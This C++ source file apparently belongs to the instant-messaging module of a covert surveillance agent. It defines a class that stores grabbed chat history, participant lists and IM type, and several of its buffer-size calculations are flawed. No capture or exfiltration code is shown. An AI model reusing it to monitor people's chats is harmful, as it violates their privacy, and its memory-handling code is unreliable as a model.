HM_IMAgent/QProperty.cpp
/*
* QProperty class
*
* Coded by: Quequero
* Date: 14/Mar/2008
*
*/
#include <exception>
#include <new>
using namespace std;
#include "QProperty.h"
QProperty::QProperty()
{
uVersion = 0;
hwnd = NULL;
pwId = NULL;
pwHistory = NULL;
pwUsers = NULL;
pwIm = NULL;
bAcquired = TRUE;
bUpdated = FALSE;
}
QProperty::~QProperty()
{
if(pwId)
delete[] pwId;
if(pwHistory)
delete[] pwHistory;
if(pwUsers)
delete[] pwUsers;
if(pwIm)
delete[] pwIm;
}
const HWND QProperty::GetHandle() {
return hwnd;
}
void QProperty::SetHandle(const HWND hw) {
hwnd = hw;
}
const PWCHAR QProperty::GetId() {
if(pwId == NULL)
return L"";
return pwId;
}
BOOL QProperty::SetId(PWCHAR pId) {
UINT len;
if(pwId != NULL){
delete[] pwId;
pwId = NULL;
}
len = wcslen(pId);
pwId = new(std::nothrow) WCHAR[len + 2];
if(pwId == NULL)
return FALSE;
memset(pwId, 0x00, len + 2);
if(!wcsncpy_s(pwId, len + 2, pId, len))
return TRUE;
return FALSE;
}
const PWCHAR QProperty::GetHistory() {
//if(pwHistory == NULL)
// return L"";
return pwHistory;
}
UINT QProperty::GetHistoryLength()
{
if(pwHistory == NULL)
return 0;
return wcslen(pwHistory);
}
// Effettua l'inizializzazione della history durante il primo grab
BOOL QProperty::SetHistory(PWCHAR pHistory) {
return AppendHistory(pHistory);
}
const PWCHAR QProperty::GetUsers() {
if(pwUsers == NULL)
return L"";
return pwUsers;
}
BOOL QProperty::SetUsers(PWCHAR pUsersList) {
UINT len;
if(pwUsers != NULL){
delete[] pwUsers;
pwUsers = NULL;
}
len = wcslen(pUsersList);
pwUsers = new(std::nothrow) WCHAR[len + 2];
if(pwUsers == NULL)
return FALSE;
memset(pwUsers, 0x00, len + 2);
if(!wcsncpy_s(pwUsers, len + 2, pUsersList, len))
return TRUE;
return FALSE;
}
const PWCHAR QProperty::GetType()
{
if(pwIm == NULL)
return L"";
return pwIm;
}
BOOL QProperty::SetType(PWCHAR pwType)
{
UINT uLen;
if(pwType == NULL)
return FALSE;
if(pwIm != NULL){
delete[] pwIm;
pwIm = NULL;
}
uLen = wcslen(pwType) + 1;
pwIm = new(std::nothrow) WCHAR[uLen];
if(pwIm == NULL)
return FALSE;
memset(pwIm, 0x00, uLen * sizeof(WCHAR));
memcpy(pwIm, pwType, (uLen - 1) * sizeof(WCHAR));
return TRUE;
}
BOOL QProperty::GetAcquiredStatus()
{
return bAcquired;
}
void QProperty::SetAcquiredStatus(BOOL bStatus)
{
bAcquired = bStatus;
}
BOOL QProperty::GetUpdated()
{
return bUpdated;
}
void QProperty::SetUpdated(BOOL bUp)
{
bUpdated = bUp;
}
// Torna l'ultima riga contenuta nella history, la funzione deve
// discriminare tra gli "a capo" inseriti da noi e quelli che,
// eventualmente, puo' aver inserito l'utente nella chat con ctrl + invio.
const PWCHAR QProperty::GetLastLine()
{
UINT len;
PWCHAR wLast;
register UINT i;
if(pwHistory == NULL)
return L"";
len = GetHistoryLength();
if(len == 0)
return NULL;
wLast = pwHistory + (len - 1);
for(i = len - 2; i > 0; i--){
if(!wcsncmp(pwHistory + i, L"\n", 1)){
// Se prima del \n c'e' un \r non e' una riga di history, ma
// una riga utente.
if(wcsncmp(pwHistory + i - 1, L"\r", 1))
return pwHistory + i;
}
}
if(pwHistory[0] == '\n')
return pwHistory + 1;
return pwHistory;
}
BOOL QProperty::CompareLastLine(PWCHAR pwLast)
{
UINT uLastLen, uHistLen;
if(pwLast == NULL || GetHistory() == NULL)
return FALSE;
uLastLen = wcslen(pwLast);
uHistLen = GetHistoryLength();
if(uHistLen == 0)
return FALSE;
if(pwLast[uLastLen - 1] == '\n'){
if(!wcsncmp(GetLastLine(), pwLast, uHistLen))
return TRUE;
}else{
if(uLastLen != uHistLen - 1)
return FALSE;
if(!wcsncmp(GetLastLine(), pwLast, uHistLen - 1))
return TRUE;
}
return FALSE;
}
// Accoda alla history pHistory e se necessario appende un \n. Se
// non e' presente alcuna history allora viene allocata memoria
// e la history viene inizializzata.
BOOL QProperty::AppendHistory(PWCHAR pHistory) {
UINT wHistoryLength, wActualHistoryLength, wNewHistoryLength;
PWCHAR wNewHistory = NULL;
if(pHistory == NULL)
return TRUE;
wHistoryLength = wcslen(pHistory);
// Se abbiamo gia' una history, appendi la nuova e, se non c'e'
// gia', aggiungi uno "\n"
if(wHistoryLength != 0 && pwHistory != NULL){
if(!wcsncmp(GetLastLine(), pHistory, wHistoryLength))
return TRUE;
wActualHistoryLength = GetHistoryLength();
wNewHistory = new(std::nothrow) WCHAR[wActualHistoryLength + wHistoryLength + 2];
wNewHistoryLength = wActualHistoryLength + wHistoryLength + 2;
if(wNewHistory == NULL)
return FALSE;
memset(wNewHistory, 0x00, sizeof(WCHAR) * (wNewHistoryLength));
if(wcsncpy_s(wNewHistory, wNewHistoryLength, pwHistory, wActualHistoryLength)){
delete[] wNewHistory;
return FALSE;
}
wcscat_s(wNewHistory, wNewHistoryLength, pHistory);
if(wcsncmp(wNewHistory + (wNewHistoryLength - 1), L"\n", 1) && wcsncmp(pwHistory + (wHistoryLength - 1), L"\r", 1))
wcscat_s(wNewHistory, wNewHistoryLength, L"\n");
delete[] pwHistory;
pwHistory = wNewHistory;
return TRUE;
}
wHistoryLength = wcslen(pHistory);
// Se e' la prima volta che chiamiamo questa funzione, inizializza
// la prima riga di history
if(wHistoryLength != 0 && pwHistory == NULL){
pwHistory = new(std::nothrow) WCHAR[wHistoryLength + 2];
if(pwHistory == NULL)
return FALSE;
memset(pwHistory, 0x00, (sizeof(WCHAR) * wHistoryLength) + (2 * sizeof(WCHAR)));
wcsncpy_s(pwHistory, wHistoryLength + 2, pHistory, wHistoryLength);
if(wcsncmp(pwHistory + (wHistoryLength - 1), L"\n", 1) && wcsncmp(pwHistory + (wHistoryLength - 1), L"\r", 1))
wcscat_s(pwHistory, wHistoryLength + 2, L"\n");
return TRUE;
}
if(wNewHistory)
delete[] wNewHistory;
return FALSE;
}
// Aggiunge un user alla coda degli utenti ed effettua l'escape,
// il delimiter scelto e' il seguente, virgolette escluse: " | ".
// Se bTerminator e' FALSE il terminatore non viene accodato.
BOOL QProperty::AppendUser(PWCHAR pUser, BOOL bTerminator)
{
UINT uLen, uPipes;
PWCHAR wTmp, wIter, wUsersIter, wNewList;
if(pUser == NULL || pUser[0] == 0)
return TRUE;
wIter = pUser;
uPipes = 0;
// Contiamo i pipe
while(wTmp = wcschr(wIter, '|')){
uPipes++;
wIter = wTmp + 1;
}
if(uPipes){
if(pwUsers == NULL){
uLen = wcslen(pUser) + uPipes + sizeof(WCHAR);
if(bTerminator)
uLen += sizeof(" | ");
pwUsers = new(std::nothrow) WCHAR[uLen];
wUsersIter = pwUsers;
if(pwUsers == NULL)
return FALSE;
memset(pwUsers, 0x00, sizeof(WCHAR) * uLen);
wIter = pUser;
// Raddoppia tutti i pipes
while(wTmp = wcschr(wIter, '|')){
memcpy(wUsersIter, wIter, ((UINT)wTmp - (UINT)wIter) + sizeof(WCHAR));
wUsersIter += (wTmp - wIter) + 1;
memcpy(wUsersIter, L"|", sizeof(L"|"));
wUsersIter += 1;
wIter = wTmp + 1;
}
memcpy(wUsersIter, wIter, wcslen(wIter) * sizeof(WCHAR));
}else{
uLen = wcslen(pwUsers) + wcslen(pUser) + uPipes + sizeof(WCHAR);
if(bTerminator)
uLen += sizeof(" | ");
wNewList = new(std::nothrow) WCHAR[uLen];
if(wNewList == NULL)
return FALSE;
memset(wNewList, 0x00, uLen * sizeof(WCHAR));
memcpy(wNewList, pwUsers, wcslen(pwUsers) * sizeof(WCHAR));
wIter = pUser;
wUsersIter = wNewList + wcslen(pwUsers);
// Raddoppia tutti i pipes
while(wTmp = wcschr(wIter, '|')){
memcpy(wUsersIter, wIter, ((UINT)wTmp - (UINT)wIter) + sizeof(WCHAR));
wUsersIter += (wTmp - wIter) + 1;
memcpy(wUsersIter, L"|", sizeof(L"|"));
wUsersIter += 1;
wIter = wTmp + 1;
}
memcpy(wUsersIter, wIter, wcslen(wIter) * sizeof(WCHAR));
delete[] pwUsers;
pwUsers = wNewList;
}
}else{
if(pwUsers == NULL){
uLen = wcslen(pUser) + sizeof(WCHAR);
if(bTerminator)
uLen += sizeof(" | ");
pwUsers = new(std::nothrow) WCHAR[uLen];
wUsersIter = pwUsers;
if(pwUsers == NULL)
return FALSE;
memset(pwUsers, 0x00, sizeof(WCHAR) * uLen);
memcpy(pwUsers, pUser, sizeof(WCHAR) * wcslen(pUser));
}else{
uLen = wcslen(pwUsers) + wcslen(pUser) + sizeof(WCHAR);
if(bTerminator)
uLen += sizeof(" | ");
wNewList = new(std::nothrow) WCHAR[uLen];
if(wNewList == NULL)
return FALSE;
memset(wNewList, 0x00, uLen * sizeof(WCHAR));
memcpy(wNewList, pwUsers, wcslen(pwUsers) * sizeof(WCHAR));
wUsersIter = wNewList + wcslen(pwUsers);
memcpy(wUsersIter, pUser, wcslen(pUser) * sizeof(WCHAR));
delete[] pwUsers;
pwUsers = wNewList;
}
}
if(bTerminator)
wcsncat_s(pwUsers, uLen, L" | ", sizeof(L" | "));
return TRUE;
}
// Appende il terminatore " | " soltanto se c'e' gia' qualche
// username nella lista
BOOL QProperty::AppendTerminator()
{
UINT uLen;
PWCHAR pUsers = NULL;
if(pwUsers == NULL || !wcslen(pwUsers))
return FALSE;
uLen = wcslen(pwUsers) + sizeof(" | ") + sizeof(WCHAR);
pUsers = new(std::nothrow) WCHAR[uLen];
if(pUsers == NULL)
return FALSE;
memset(pUsers, 0x00, uLen * sizeof(WCHAR));
memcpy(pUsers, pwUsers, wcslen(pwUsers) * sizeof(WCHAR));
wcsncat_s(pUsers, uLen, L" | ", 3);
delete[] pwUsers;
pwUsers = pUsers;
return TRUE;
}
BOOL QProperty::CleanHistory()
{
UINT uLen;
PWCHAR wLast, wNewHistory;
wLast = GetLastLine();
// Non abbiamo grabbato nulla, quindi non c'e'
// nulla cancellare.
if(wLast == NULL){
bUpdated = FALSE;
return TRUE;
}
uLen = wcslen(wLast);
if(uLen == GetHistoryLength())
return TRUE;
wNewHistory = new(std::nothrow) WCHAR[uLen + 1];
if(wNewHistory == NULL){
bUpdated = FALSE;
return FALSE;
}
if(wLast == NULL){
delete[] wNewHistory;
bUpdated = FALSE;
return FALSE;
}
memset(wNewHistory, 0x00, sizeof(WCHAR) * (uLen + 1));
memcpy(wNewHistory, wLast, sizeof(WCHAR) * uLen);
if(pwHistory)
delete[] pwHistory;
pwHistory = wNewHistory;
return TRUE;
}
BOOL QProperty::ClearHistory()
{
if(pwHistory == NULL)
return TRUE;
delete[] pwHistory;
pwHistory = NULL;
return TRUE;
}
void QProperty::ClearUsersList()
{
if(pwUsers){
delete[] pwUsers;
pwUsers = NULL;
}
}
// Helper function per MSN, converte i \r in \n
// In UNICODE:
// "\n" = 0A00
// "\r" = 0D00
BOOL QProperty::ConvertNewLine() {
PWCHAR wTmp, wIter;
if(pwHistory == NULL)
return FALSE;
wIter = pwHistory;
while(wTmp = wcschr(wIter, '\r')){
wTmp[0] = '\n';
wIter = wTmp;
}
return TRUE;
}
BOOL QProperty::ConvertNewLine(PWCHAR wHistory)
{
PWCHAR wTmp, wIter;
if(wHistory == NULL || !wcslen(wHistory))
return FALSE;
wIter = wHistory;
while(wTmp = wcschr(wIter, '\r')){
wTmp[0] = '\n';
wIter = wTmp;
}
return TRUE;
}
BOOL QProperty::StripCarriageReturn()
{
UINT len, i, j, uCount = 0;
PWCHAR wOut = NULL;
if(pwHistory == NULL || wcslen(pwHistory) == 0)
return FALSE;
len = wcslen(pwHistory);
for(i = 0; i < len; i++){
if(pwHistory[i] != '\r')
uCount++;
}
wOut = new(std::nothrow) WCHAR[uCount + 1];
if(wOut == NULL)
return FALSE;
memset(wOut, 0x00, sizeof(WCHAR) * (uCount + 1));
for(i = 0, j = 0; i < uCount; i++){
if(pwHistory[i] != '\r'){
wOut[j] = pwHistory[i];
j++;
}
}
delete[] pwHistory;
pwHistory = wOut;
return TRUE;
}
BOOL QProperty::StripLeadingReturn()
{
DWORD csrc, cdst;
if(pwHistory == NULL || wcslen(pwHistory) == 0)
return FALSE;
// Strippiamo tutti gli "a capo" all'inizio del testo
for(csrc=0; pwHistory[csrc]==L'\r' || pwHistory[csrc]==L'\n'; csrc++);
for(cdst=0; pwHistory[csrc]; cdst++, csrc++)
pwHistory[cdst] = pwHistory[csrc];
pwHistory[cdst] = 0;
return TRUE;
}
// Cerca wSearch nella history e ne torna il puntatore alla prima occorrenza
const PWCHAR QProperty::FindLine(PWCHAR wSearch) const
{
if(pwHistory == NULL || !wcslen(pwHistory) || wSearch == NULL || !wcslen(wSearch))
return NULL;
return wcsstr(pwHistory, wSearch);
}
// Tronca la history ad una lunghezza predefinita
BOOL QProperty::TruncateHistory()
{
UINT uLen;
PWCHAR wHistory;
uLen = GetHistoryLength();
if(pwHistory == NULL || uLen < TRUNCATE_LENGTH)
return FALSE;
wHistory = new(std::nothrow) WCHAR[TRUNCATE_LENGTH + 1];
if(wHistory == NULL)
return FALSE;
memset(wHistory, 0x00, (TRUNCATE_LENGTH + 1) * sizeof(WCHAR));
memcpy(wHistory, pwHistory + (uLen - TRUNCATE_LENGTH), TRUNCATE_LENGTH * sizeof(WCHAR));
delete[] pwHistory;
pwHistory = wHistory;
return TRUE;
}
const PWCHAR QProperty::wcsrstr(PWCHAR str, PWCHAR search)
{
UINT uLenStr, uLenSearch;
PWSTR wTmp, wIter;
uLenStr = wcslen(str);
uLenSearch = wcslen(search);
if(uLenStr == 0 && uLenSearch)
return NULL;
// Se si cerca con una stringa vuota, torna il puntatore
// all'inizio della stringa in cui cercare
if(uLenSearch == 0 && uLenStr)
return str;
// Se la stringa da cercare e' piu' lunga della stringa in cui
// cercare, torna NULL.
if(uLenStr < uLenSearch)
return NULL;
if(uLenSearch == uLenStr)
return wcsstr(str, search);
wTmp = str + (uLenStr - uLenSearch);
do{
wIter = wcsstr(wTmp, search);
if(wIter)
return wIter;
//wTmp -= uLenSearch;
wTmp--;
}while(wTmp >= str);
return wcsstr(str, search);
}